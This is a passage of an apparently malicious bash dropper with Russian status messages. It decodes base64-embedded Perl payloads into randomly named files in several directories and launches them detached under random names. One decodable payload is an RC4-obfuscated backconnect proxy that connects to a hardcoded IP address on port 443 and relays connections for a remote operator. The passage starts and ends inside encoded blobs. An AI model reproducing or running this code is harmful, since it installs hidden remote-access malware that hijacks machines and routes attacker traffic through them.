ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #11 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #11 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 12 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp 